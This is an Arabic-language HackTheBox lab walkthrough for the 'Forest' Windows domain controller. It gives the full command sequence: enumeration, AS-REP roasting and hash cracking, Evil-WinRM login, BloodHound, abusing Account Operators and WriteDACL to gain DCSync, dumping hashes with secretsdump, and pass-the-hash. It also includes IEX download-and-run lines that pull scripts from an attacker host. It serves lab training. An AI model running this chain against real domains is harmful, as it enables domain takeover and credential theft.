> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md). # شرح Forest HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * AXFR - هجوم نقل منطقة النطاق (فشل) * استطلاع RPC - الحصول على مستخدمي النطاق الصالحين * تنفيذ هجوم AS-RepRoast باستخدام المستخدمين الذين تم الحصول عليهم * كسر التجزئات * استغلال WinRM - EvilWinRM * استطلاع LDAP - ldapdomaindump * استطلاع BloodHound * جمع معلومات النظام باستخدام SharpHound.ps1 - PuckieStyle * تمثيل البيانات وتصويرها في BloodHound * العثور على متجه هجوم في BloodHound * استغلال مجموعة Account Operators - إنشاء مستخدم جديد * استغلال مجموعة Account Operators - تعيين مجموعة للمستخدم الذي تم إنشاؤه حديثًا * استغلال WriteDacl في النطاق - منح امتيازات DCSync * استغلال DCSync - Secretsdump.py {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractport:**/ باستخدام دالة extractport لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة.

**فحص إصدار المنافذ باستخدام Nmap:**/ استخدم Nmap لفحص إصدارات الخدمات وحفظ المخرجات في ملف "targeted": ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted ```

## **القائمة والتشغيل:** ### **استطلاع SMB:** استخدام CrackMapExec لتحديد نظام التشغيل ```bash crackmapexec cmb 10.10.10.161 ```

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به/ في `/etc/hosts` الملف.

/*/استكشاف مشاركات SMB على الشبكة لتحديد الموارد المشتركة ولكن دون نتائج. //* ```bash crackmapexec smb 10.10.10.161 --shares ``` ```bash smbclient -L 10.10.10.161 -N ```

### **استطلاع RPC:** استخدام rpcclient للتفاعل مع خدمات CPP وجمع معلومات الموارد ```bash rpccclient -U "" 10.10.10.161 -N enumdomusers ```

#### عرض المجموعات: ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups' ```

## هجوم ASREPRoast: #### باستخدام قائمة من المستخدمين الصالحين، سننفذ هجوم AS-RepRoast لأننا لا نحتاج إلى كلمات مرور المستخدمين. سنستخدم `grep` لتصفية أسماء المستخدمين، ثم إدخال هذه البيانات في ملف ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users ```

#### نستخدم الأداة GetNPUsers.py لاستخراج معلومات المستخدم بدون كلمة مرور: ```bash GetNPUsers.py htb.local/ -no-pass -usersfile users ```

#### نسترجع تجزئة كلمة مرور المستخدم "lucinda" ونحاول كسرها باستخدام John the Ripper باستخدام قائمة كلمات مرور مُعدة مسبقًا: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

#### نستخدم CrackMapExec للتحقق مما إذا كانت كلمة المرور المكشوفة صحيحة عبر محاولة اتصال WinRM: ```bash crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

#### أخيرًا، نستخدم Evil-WinRM للاتصال بالجهاز البعيد باستخدام معلومات الاعتماد التي تم كسرها: ```bash evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

## تصعيد الامتيازات: ### استطلاع النطاق باستخدام BloodHound

تثبيت BloodHound:

``` apt install neo4j bloodhound neo4j console &> /dev/null & disown lsof -i:7474 ``` /*/سجّل الدخول إلى Bloodhound باستخدام neo4j:neo4j. //* ![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74) **جاري تشغيل BloodHound.** ```bash bloodhound &> /dev/null & disown ```

### جمع المعلومات باستخدام SharpHound.ps1 {% embed url="" %} ### انقل البيانات التي تم جمعها إلى خادم Linux. ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1') ```

```bash Invoke-BloodHound -CollectionMethod All ```

#### ننقل ملف zip إلى فريقنا. ```bash download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip ```

/*/استيراد ملف zip في Bloodhound. //*

### تحليل وعمليات BloodHound #### تصفية البيانات للعثور على أقصر مسار إلى مسؤول النطاق.

#### تحديد العضوية في مجموعة قد تكون مشكلة (Account Operator).

#### استخدام قدرة إنشاء المستخدم للتحضير لهجوم DCSync. ```bash net user jordanmacia password123$ /add /domain ```

### محاولة DCSync دون صلاحيات كافية ```bash impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

#### تمت إضافة المستخدم إلى مجموعة ذات صلاحيات أعلى (`Exchange Windows Permissions`).

```bash net group "Exchange Windows Permissions" jordanmacia /add ```

### هجوم WriteDACL:

```bash $SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword) ``` التحضير لهجوم WriteDACL باستخدام PowerView\.ps1 لإضافة الوظائف. {% embed url="" %}

#### نقل الملف ``` python3 -m http.server 80 ``` ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')" ``` ## ثغرة هجوم DCSync #### شغّل أمر Add-DomainObjectAcl للحصول على التجزئات. ``` Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync ``` #### استخدام Impacket لاستخراج التجزئات باستخدام المستخدم jordanmacia. ``` impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

### هجوم Pass-the-Hash: استخدام تجزئة NT الخاصة بالمسؤول في هجوم Pass-the-Hash. ```bash evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6' ``` #### الوصول إلى النظام بصلاحيات المسؤول.

### العلم النهائي :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.